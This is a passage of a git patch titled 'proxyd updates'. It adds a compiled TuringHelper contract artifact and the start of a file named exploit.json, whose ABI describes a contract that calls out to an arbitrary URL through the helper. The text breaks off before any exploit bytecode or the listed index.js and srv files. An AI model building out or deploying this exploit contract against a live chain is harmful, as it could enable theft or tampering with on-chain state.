From df5bc7ca4dacc31fdc59a57f9a6e16dfb8ef9cde Mon Sep 17 00:00:00 2001 From: Ino Murko <2582555+InoMurko@users.noreply.github.com> Date: Mon, 30 Oct 2023 13:49:15 +0100 Subject: [PATCH] proxyd updates --- TuringHelper.json | 380 +++++++ exploit.json | 853 ++++++++++++++ go/proxyd/Dockerfile | 6 +- go/proxyd/Makefile | 4 +- go/proxyd/README.md | 126 ++- go/proxyd/backend.go | 639 ++++++++--- go/proxyd/backend_rate_limiter.go | 286 ----- go/proxyd/backend_test.go | 21 + go/proxyd/cache.go | 84 +- go/proxyd/cache_test.go | 505 +-------- go/proxyd/cmd/proxyd/main.go | 39 +- go/proxyd/config.go | 61 +- go/proxyd/consensus_poller.go | 683 +++++++++++ go/proxyd/consensus_tracker.go | 335 ++++++ go/proxyd/example.config.toml | 23 + go/proxyd/frontend_rate_limiter.go | 2 +- go/proxyd/frontend_rate_limiter_test.go | 2 +- go/proxyd/go.mod | 116 +- go/proxyd/go.sum | 930 +++------------ .../integration_tests/batch_timeout_test.go | 2 +- go/proxyd/integration_tests/batching_test.go | 19 +- go/proxyd/integration_tests/caching_test.go | 128 ++- go/proxyd/integration_tests/consensus_test.go | 1002 +++++++++++++++++ go/proxyd/integration_tests/failover_test.go | 23 +- .../integration_tests/max_rpc_conns_test.go | 2 +- .../integration_tests/mock_backend_test.go | 1 + .../integration_tests/rate_limit_test.go | 19 +- .../sender_rate_limit_test.go | 18 +- .../integration_tests/testdata/caching.toml | 11 +- .../integration_tests/testdata/consensus.toml | 30 + .../testdata/consensus_responses.yml | 234 ++++ .../testdata/out_of_service_interval.toml | 3 - .../testdata/sender_rate_limit.toml | 3 +- ...ckend_rate_limit.toml => size_limits.toml} | 10 +- .../integration_tests/testdata/testdata.txt | 4 +- go/proxyd/integration_tests/testdata/ws.toml | 13 +- .../testdata/ws_frontend_rate_limit.toml | 35 - .../testdata/ws_sender_rate_limit.toml | 34 - .../testdata/ws_testdata.txt | 13 - go/proxyd/integration_tests/util_test.go | 7 +- .../integration_tests/validation_test.go | 44 +- go/proxyd/integration_tests/ws_test.go | 271 ++--- go/proxyd/lvc.go | 87 -- go/proxyd/methods.go | 397 +------ go/proxyd/metrics.go | 275 ++++- go/proxyd/package.json | 6 - go/proxyd/pkg/avg-sliding-window/sliding.go | 188 ++++ .../pkg/avg-sliding-window/sliding_test.go | 278 +++++ go/proxyd/proxyd.go | 244 ++-- go/proxyd/reader.go | 32 + go/proxyd/reader_test.go | 43 + go/proxyd/redis.go | 2 +- go/proxyd/rewriter.go | 247 ++++ go/proxyd/rewriter_test.go | 624 ++++++++++ go/proxyd/server.go | 207 ++-- go/proxyd/tools/mockserver/handler/handler.go | 135 +++ go/proxyd/tools/mockserver/main.go | 30 + go/proxyd/tools/mockserver/node1.yml | 52 + go/proxyd/tools/mockserver/node2.yml | 44 + index.js | 93 ++ srv | 45 + 61 files changed, 7226 insertions(+), 2824 deletions(-) create mode 100644 TuringHelper.json create mode 100644 exploit.json delete mode 100644 go/proxyd/backend_rate_limiter.go create mode 100644 go/proxyd/backend_test.go create mode 100644 go/proxyd/consensus_poller.go create mode 100644 go/proxyd/consensus_tracker.go create mode 100644 go/proxyd/integration_tests/consensus_test.go create mode 100644 go/proxyd/integration_tests/testdata/consensus.toml create mode 100644 go/proxyd/integration_tests/testdata/consensus_responses.yml rename go/proxyd/integration_tests/testdata/{backend_rate_limit.toml => size_limits.toml} (61%) delete mode 100644 go/proxyd/integration_tests/testdata/ws_frontend_rate_limit.toml delete mode 100644 go/proxyd/integration_tests/testdata/ws_sender_rate_limit.toml delete mode 100644 go/proxyd/integration_tests/testdata/ws_testdata.txt delete mode 100644 go/proxyd/lvc.go delete mode 100644 go/proxyd/package.json create mode 100644 go/proxyd/pkg/avg-sliding-window/sliding.go create mode 100644 go/proxyd/pkg/avg-sliding-window/sliding_test.go create mode 100644 go/proxyd/reader.go create mode 100644 go/proxyd/reader_test.go create mode 100644 go/proxyd/rewriter.go create mode 100644 go/proxyd/rewriter_test.go create mode 100644 go/proxyd/tools/mockserver/handler/handler.go create mode 100644 go/proxyd/tools/mockserver/main.go create mode 100644 go/proxyd/tools/mockserver/node1.yml create mode 100644 go/proxyd/tools/mockserver/node2.yml create mode 100644 index.js create mode 100755 srv diff --git a/TuringHelper.json b/TuringHelper.json new file mode 100644 index 0000000000..356fac61fb --- /dev/null +++ b/TuringHelper.json @@ -0,0 +1,380 @@ +{ + "_format": "hh-sol-artifact-1", + "contractName": "TuringHelper", + "sourceName": "contracts/TuringHelper.sol", + "abi": [ + { + "inputs": [], + "stateMutability": "nonpayable", + "type": "constructor" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "_callerAddress", + "type": "address" + } + ], + "name": "AddPermittedCaller", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "_callerAddress", + "type": "address" + }, + { + "indexed": false, + "internalType": "bool", + "name": "permitted", + "type": "bool" + } + ], + "name": "CheckPermittedCaller", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "uint256", + "name": "version", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "random", + "type": "uint256" + } + ], + "name": "Offchain42", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "uint256", + "name": "version", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "random", + "type": "uint256" + } + ], + "name": "OffchainRandom", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "uint256", + "name": "version", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "bytes", + "name": "responseData", + "type": "bytes" + } + ], + "name": "OffchainResponse", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": true, + "internalType": "address", + "name": "previousOwner", + "type": "address" + }, + { + "indexed": true, + "internalType": "address", + "name": "newOwner", + "type": "address" + } + ], + "name": "OwnershipTransferred", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "_callerAddress", + "type": "address" + } + ], + "name": "RemovePermittedCaller", + "type": "event" + }, + { + "inputs": [ + { + "internalType": "uint32", + "name": "rType", + "type": "uint32" + }, + { + "internalType": "uint256", + "name": "_random", + "type": "uint256" + } + ], + "name": "Get42", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "uint32", + "name": "rType", + "type": "uint32" + }, + { + "internalType": "uint256", + "name": "_random", + "type": "uint256" + } + ], + "name": "GetRandom", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "uint32", + "name": "rType", + "type": "uint32" + }, + { + "internalType": "string", + "name": "_url", + "type": "string" + }, + { + "internalType": "bytes", + "name": "_payload", + "type": "bytes" + } + ], + "name": "GetResponse", + "outputs": [ + { + "internalType": "bytes", + "name": "", + "type": "bytes" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "Turing42", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "TuringRandom", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "string", + "name": "_url", + "type": "string" + }, + { + "internalType": "bytes", + "name": "_payload", + "type": "bytes" + } + ], + "name": "TuringTx", + "outputs": [ + { + "internalType": "bytes", + "name": "", + "type": "bytes" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_callerAddress", + "type": "address" + } + ], + "name": "addPermittedCaller", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_callerAddress", + "type": "address" + } + ], + "name": "checkPermittedCaller", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "owner", + "outputs": [ + { + "internalType": "address", + "name": "", + "type": "address" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "", + "type": "address" + } + ], + "name": "permittedCaller", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_callerAddress", + "type": "address" + } + ], + "name": "removePermittedCaller", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "renounceOwnership", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "bytes4", + "name": "_interfaceId", + "type": "bytes4" + } + ], + "name": "supportsInterface", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ], + "stateMutability": "pure", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "newOwner", + "type": "address" + } + ], + "name": "transferOwnership", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + } + ], + "bytecode": "0x608060405234801561001057600080fd5b5061001a33610031565b600180546001600160a01b03191630179055610081565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6114c5806100906000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063a432ee271161008c578063cbcd0c2c11610066578063cbcd0c2c146101d3578063e86f18991461014d578063f2f3fa07146101e6578063f2fde38b1461020957600080fd5b8063a432ee27146101a5578063aadebcb9146101b8578063b8d16056146101cb57600080fd5b8063493d57d6116100c8578063493d57d61461014d578063715018a6146101605780637d93616c1461016a5780638da5cb5b1461017d57600080fd5b806301ffc9a7146100ef5780632f7adf431461011757806345ff812a14610137575b600080fd5b6101026100fd366004611024565b61021c565b60405190151581526020015b60405180910390f35b61012a610125366004611187565b6102dc565b60405161010e9190611265565b61013f6104cd565b60405190815260200161010e565b61013f61015b36600461128c565b61062a565b61016861070e565b005b61012a6101783660046112b6565b610722565b60005460405173ffffffffffffffffffffffffffffffffffffffff909116815260200161010e565b6101686101b336600461132a565b610872565b6101686101c636600461132a565b610900565b61013f610984565b6101026101e136600461132a565b610ad4565b6101026101f436600461132a565b60026020526000908152604090205460ff1681565b61016861021736600461132a565b610b44565b60007f01ffc9a7a5cef8baa21ed3c5c0d7e23accb804b619e9333b597f47a0d84076e27f2f7adf43000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000084167f01ffc9a70000000000000000000000000000000000000000000000000000000014806102d457507fffffffff00000000000000000000000000000000000000000000000000000000848116908216145b949350505050565b3360009081526002602052604090205460609060ff1661035d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c69642043616c6c657220416464726573730000000000000000000060448201526064015b60405180910390fd5b60008251116103c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f547572696e673a547572696e6754783a6e6f207061796c6f61640000000000006044820152606401610354565b600180546040517f7d93616c00000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff90921691637d93616c91610425919088908890600401611360565b6000604051808303816000875af1158015610444573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261048a919081019061139b565b90507ffde6d9b9b674fe8a495a825379378eb214e03439d12f342ac5e8af9768c1d85c6001826040516104be929190611412565b60405180910390a19392505050565b3360009081526002602052604081205460ff16610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c69642043616c6c65722041646472657373000000000000000000006044820152606401610354565b600180546040517f493d57d600000000000000000000000000000000000000000000000000000000815260048101929092526000602483018190529173ffffffffffffffffffffffffffffffffffffffff9091169063493d57d6906044016020604051808303816000875af11580156105c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e7919061142b565b6040805160018152602081018390529192507f450d62889c3a6e19c9586840ce9c21040b90d81950fe31f2ba982090adaf53e891015b60405180910390a1905090565b60003330146106bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f547572696e673a476574526573706f6e73653a6d73672e73656e64657220213d60448201527f20616464726573732874686973290000000000000000000000000000000000006064820152608401610354565b8263ffffffff166002146106ce84610bfb565b90610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103549190611265565b509092915050565b610716610f2e565b6107206000610faf565b565b60603330146107b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f547572696e673a476574526573706f6e73653a6d73672e73656e64657220213d60448201527f20616464726573732874686973290000000000000000000000000000000000006064820152608401610354565b600082511161081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f547572696e673a476574526573706f6e73653a6e6f207061796c6f61640000006044820152606401610354565b8363ffffffff1660021461083185610bfb565b90610869576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103549190611265565b50909392505050565b61087a610f2e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905590519182527f9ce84a7ab8065f5f6f23c19be05400b2edbabf71e4b29837f56a016c951b97d291015b60405180910390a150565b610908610f2e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905590519182527feacddceebef9fdf16961c5dba55871a098bd93be9160335139bdeb226537c6ed91016108f5565b3360009081526002602052604081205460ff166109fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c69642043616c6c65722041646472657373000000000000000000006044820152606401610354565b6001546040517fe86f189900000000000000000000000000000000000000000000000000000000815260026004820152602a602482015260009173ffffffffffffffffffffffffffffffffffffffff169063e86f1899906044016020604051808303816000875af1158015610a76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9a919061142b565b6040805160018152602081018390529192507fcf56007112ef7f986f258f82114b449a536da425cefac3982f64e306b07c7921910161061d565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260026020908152604080832054815194855260ff1680151592850192909252919290917fabf082f4a354a0ea137bf1c9b0f6660d1340b3f84e293fb4a4cb01c7602c3962910160405180910390a192915050565b610b4c610f2e565b73ffffffffffffffffffffffffffffffffffffffff8116610bef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610354565b610bf881610faf565b50565b60608163ffffffff1660011415610c4557505060408051808201909152601e81527f545552494e473a204765746820696e74657263657074206661696c7572650000602082015290565b8163ffffffff16600a1415610c8d57505060408051808201909152601d81527f545552494e473a20496e636f727265637420696e707574207374617465000000602082015290565b8163ffffffff16600b1415610cd557505060408051808201909152601a81527f545552494e473a2043616c6c6461746120746f6f2073686f7274000000000000602082015290565b8163ffffffff16600c1415610d1d57505060408051808201909152601581527f545552494e473a2055524c203e36342062797465730000000000000000000000602082015290565b8163ffffffff16600d1415610d6557505060408051808201909152601481527f545552494e473a20536572766572206572726f72000000000000000000000000602082015290565b8163ffffffff16600e1415610d93576040518060600160405280602881526020016114456028913992915050565b8163ffffffff16600f1415610dc15760405180606001604052806023815260200161146d6023913992915050565b8163ffffffff1660101415610e0957505060408051808201909152601381527f545552494e473a20524e47206661696c75726500000000000000000000000000602082015290565b8163ffffffff1660111415610e5157505060408051808201909152601f81527f545552494e473a2041504920526573706f6e7365203e33323220636861727300602082015290565b8163ffffffff1660121415610e9957505060408051808201909152601f81527f545552494e473a2041504920526573706f6e7365203e31363020627974657300602082015290565b8163ffffffff1660131415610ee157505060408051808201909152601b81527f545552494e473a20496e73756666696369656e74206372656469740000000000602082015290565b8163ffffffff1660141415610f2957505060408051808201909152601b81527f545552494e473a204d697373696e6720636163686520656e7472790000000000602082015290565b919050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610354565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006020828403121561103657600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461106657600080fd5b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156110e3576110e361106d565b604052919050565b600067ffffffffffffffff8211156111055761110561106d565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b600082601f83011261114257600080fd5b8135611155611150826110eb565b61109c565b81815284602083860101111561116a57600080fd5b816020850160208301376000918101602001919091529392505050565b6000806040838503121561119a57600080fd5b823567ffffffffffffffff808211156111b257600080fd5b6111be86838701611131565b935060208501359150808211156111d457600080fd5b506111e185828601611131565b9150509250929050565b60005b838110156112065781810151838201526020016111ee565b83811115611215576000848401525b50505050565b600081518084526112338160208601602086016111eb565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000611066602083018461121b565b803563ffffffff81168114610f2957600080fd5b6000806040838503121561129f57600080fd5b6112a883611278565b946020939093013593505050565b6000806000606084860312156112cb57600080fd5b6112d484611278565b9250602084013567ffffffffffffffff808211156112f157600080fd5b6112fd87838801611131565b9350604086013591508082111561131357600080fd5b5061132086828701611131565b9150509250925092565b60006020828403121561133c57600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461106657600080fd5b63ffffffff8416815260606020820152600061137f606083018561121b565b8281036040840152611391818561121b565b9695505050505050565b6000602082840312156113ad57600080fd5b815167ffffffffffffffff8111156113c457600080fd5b8201601f810184136113d557600080fd5b80516113e3611150826110eb565b8181528560208385010111156113f857600080fd5b6114098260208301602086016111eb565b95945050505050565b8281526040602082015260006102d4604083018461121b565b60006020828403121561143d57600080fd5b505191905056fe545552494e473a20436f756c64206e6f74206465636f64652073657276657220726573706f6e7365545552494e473a20436f756c64206e6f74206372656174652072706320636c69656e74a2646970667358221220ba78d6a9f45e5beb17c644dccb46db6a2701c6477b07b150f569fd6e36a679bd64736f6c634300080c0033", + "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063a432ee271161008c578063cbcd0c2c11610066578063cbcd0c2c146101d3578063e86f18991461014d578063f2f3fa07146101e6578063f2fde38b1461020957600080fd5b8063a432ee27146101a5578063aadebcb9146101b8578063b8d16056146101cb57600080fd5b8063493d57d6116100c8578063493d57d61461014d578063715018a6146101605780637d93616c1461016a5780638da5cb5b1461017d57600080fd5b806301ffc9a7146100ef5780632f7adf431461011757806345ff812a14610137575b600080fd5b6101026100fd366004611024565b61021c565b60405190151581526020015b60405180910390f35b61012a610125366004611187565b6102dc565b60405161010e9190611265565b61013f6104cd565b60405190815260200161010e565b61013f61015b36600461128c565b61062a565b61016861070e565b005b61012a6101783660046112b6565b610722565b60005460405173ffffffffffffffffffffffffffffffffffffffff909116815260200161010e565b6101686101b336600461132a565b610872565b6101686101c636600461132a565b610900565b61013f610984565b6101026101e136600461132a565b610ad4565b6101026101f436600461132a565b60026020526000908152604090205460ff1681565b61016861021736600461132a565b610b44565b60007f01ffc9a7a5cef8baa21ed3c5c0d7e23accb804b619e9333b597f47a0d84076e27f2f7adf43000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000084167f01ffc9a70000000000000000000000000000000000000000000000000000000014806102d457507fffffffff00000000000000000000000000000000000000000000000000000000848116908216145b949350505050565b3360009081526002602052604090205460609060ff1661035d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c69642043616c6c657220416464726573730000000000000000000060448201526064015b60405180910390fd5b60008251116103c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f547572696e673a547572696e6754783a6e6f207061796c6f61640000000000006044820152606401610354565b600180546040517f7d93616c00000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff90921691637d93616c91610425919088908890600401611360565b6000604051808303816000875af1158015610444573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261048a919081019061139b565b90507ffde6d9b9b674fe8a495a825379378eb214e03439d12f342ac5e8af9768c1d85c6001826040516104be929190611412565b60405180910390a19392505050565b3360009081526002602052604081205460ff16610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c69642043616c6c65722041646472657373000000000000000000006044820152606401610354565b600180546040517f493d57d600000000000000000000000000000000000000000000000000000000815260048101929092526000602483018190529173ffffffffffffffffffffffffffffffffffffffff9091169063493d57d6906044016020604051808303816000875af11580156105c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e7919061142b565b6040805160018152602081018390529192507f450d62889c3a6e19c9586840ce9c21040b90d81950fe31f2ba982090adaf53e891015b60405180910390a1905090565b60003330146106bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f547572696e673a476574526573706f6e73653a6d73672e73656e64657220213d60448201527f20616464726573732874686973290000000000000000000000000000000000006064820152608401610354565b8263ffffffff166002146106ce84610bfb565b90610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103549190611265565b509092915050565b610716610f2e565b6107206000610faf565b565b60603330146107b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f547572696e673a476574526573706f6e73653a6d73672e73656e64657220213d60448201527f20616464726573732874686973290000000000000000000000000000000000006064820152608401610354565b600082511161081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f547572696e673a476574526573706f6e73653a6e6f207061796c6f61640000006044820152606401610354565b8363ffffffff1660021461083185610bfb565b90610869576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103549190611265565b50909392505050565b61087a610f2e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905590519182527f9ce84a7ab8065f5f6f23c19be05400b2edbabf71e4b29837f56a016c951b97d291015b60405180910390a150565b610908610f2e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905590519182527feacddceebef9fdf16961c5dba55871a098bd93be9160335139bdeb226537c6ed91016108f5565b3360009081526002602052604081205460ff166109fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c69642043616c6c65722041646472657373000000000000000000006044820152606401610354565b6001546040517fe86f189900000000000000000000000000000000000000000000000000000000815260026004820152602a602482015260009173ffffffffffffffffffffffffffffffffffffffff169063e86f1899906044016020604051808303816000875af1158015610a76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9a919061142b565b6040805160018152602081018390529192507fcf56007112ef7f986f258f82114b449a536da425cefac3982f64e306b07c7921910161061d565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260026020908152604080832054815194855260ff1680151592850192909252919290917fabf082f4a354a0ea137bf1c9b0f6660d1340b3f84e293fb4a4cb01c7602c3962910160405180910390a192915050565b610b4c610f2e565b73ffffffffffffffffffffffffffffffffffffffff8116610bef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610354565b610bf881610faf565b50565b60608163ffffffff1660011415610c4557505060408051808201909152601e81527f545552494e473a204765746820696e74657263657074206661696c7572650000602082015290565b8163ffffffff16600a1415610c8d57505060408051808201909152601d81527f545552494e473a20496e636f727265637420696e707574207374617465000000602082015290565b8163ffffffff16600b1415610cd557505060408051808201909152601a81527f545552494e473a2043616c6c6461746120746f6f2073686f7274000000000000602082015290565b8163ffffffff16600c1415610d1d57505060408051808201909152601581527f545552494e473a2055524c203e36342062797465730000000000000000000000602082015290565b8163ffffffff16600d1415610d6557505060408051808201909152601481527f545552494e473a20536572766572206572726f72000000000000000000000000602082015290565b8163ffffffff16600e1415610d93576040518060600160405280602881526020016114456028913992915050565b8163ffffffff16600f1415610dc15760405180606001604052806023815260200161146d6023913992915050565b8163ffffffff1660101415610e0957505060408051808201909152601381527f545552494e473a20524e47206661696c75726500000000000000000000000000602082015290565b8163ffffffff1660111415610e5157505060408051808201909152601f81527f545552494e473a2041504920526573706f6e7365203e33323220636861727300602082015290565b8163ffffffff1660121415610e9957505060408051808201909152601f81527f545552494e473a2041504920526573706f6e7365203e31363020627974657300602082015290565b8163ffffffff1660131415610ee157505060408051808201909152601b81527f545552494e473a20496e73756666696369656e74206372656469740000000000602082015290565b8163ffffffff1660141415610f2957505060408051808201909152601b81527f545552494e473a204d697373696e6720636163686520656e7472790000000000602082015290565b919050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610354565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006020828403121561103657600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461106657600080fd5b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156110e3576110e361106d565b604052919050565b600067ffffffffffffffff8211156111055761110561106d565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b600082601f83011261114257600080fd5b8135611155611150826110eb565b61109c565b81815284602083860101111561116a57600080fd5b816020850160208301376000918101602001919091529392505050565b6000806040838503121561119a57600080fd5b823567ffffffffffffffff808211156111b257600080fd5b6111be86838701611131565b935060208501359150808211156111d457600080fd5b506111e185828601611131565b9150509250929050565b60005b838110156112065781810151838201526020016111ee565b83811115611215576000848401525b50505050565b600081518084526112338160208601602086016111eb565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000611066602083018461121b565b803563ffffffff81168114610f2957600080fd5b6000806040838503121561129f57600080fd5b6112a883611278565b946020939093013593505050565b6000806000606084860312156112cb57600080fd5b6112d484611278565b9250602084013567ffffffffffffffff808211156112f157600080fd5b6112fd87838801611131565b9350604086013591508082111561131357600080fd5b5061132086828701611131565b9150509250925092565b60006020828403121561133c57600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461106657600080fd5b63ffffffff8416815260606020820152600061137f606083018561121b565b8281036040840152611391818561121b565b9695505050505050565b6000602082840312156113ad57600080fd5b815167ffffffffffffffff8111156113c457600080fd5b8201601f810184136113d557600080fd5b80516113e3611150826110eb565b8181528560208385010111156113f857600080fd5b6114098260208301602086016111eb565b95945050505050565b8281526040602082015260006102d4604083018461121b565b60006020828403121561143d57600080fd5b505191905056fe545552494e473a20436f756c64206e6f74206465636f64652073657276657220726573706f6e7365545552494e473a20436f756c64206e6f74206372656174652072706320636c69656e74a2646970667358221220ba78d6a9f45e5beb17c644dccb46db6a2701c6477b07b150f569fd6e36a679bd64736f6c634300080c0033", + "linkReferences": {}, + "deployedLinkReferences": {} +} diff --git a/exploit.json b/exploit.json new file mode 100644 index 0000000000..415a2fae67 --- /dev/null +++ b/exploit.json @@ -0,0 +1,853 @@ +{ + "abi": [ + { + "inputs": [ + { + "internalType": "address", + "name": "_turing_helper", + "type": "address" + } + ], + "stateMutability": "nonpayable", + "type": "constructor" + }, + { + "inputs": [ + { + "internalType": "string", + "name": "_url", + "type": "string" + } + ], + "name": "call_outside", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "significant_var", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "turing_helper", + "outputs": [ + { + "internalType": "contract ITuringHelper", + "name": "", + "type": "address" + } + ], + "stateMutability": "view", + "type": "function" + } + ], + "bytecode": { + "object": 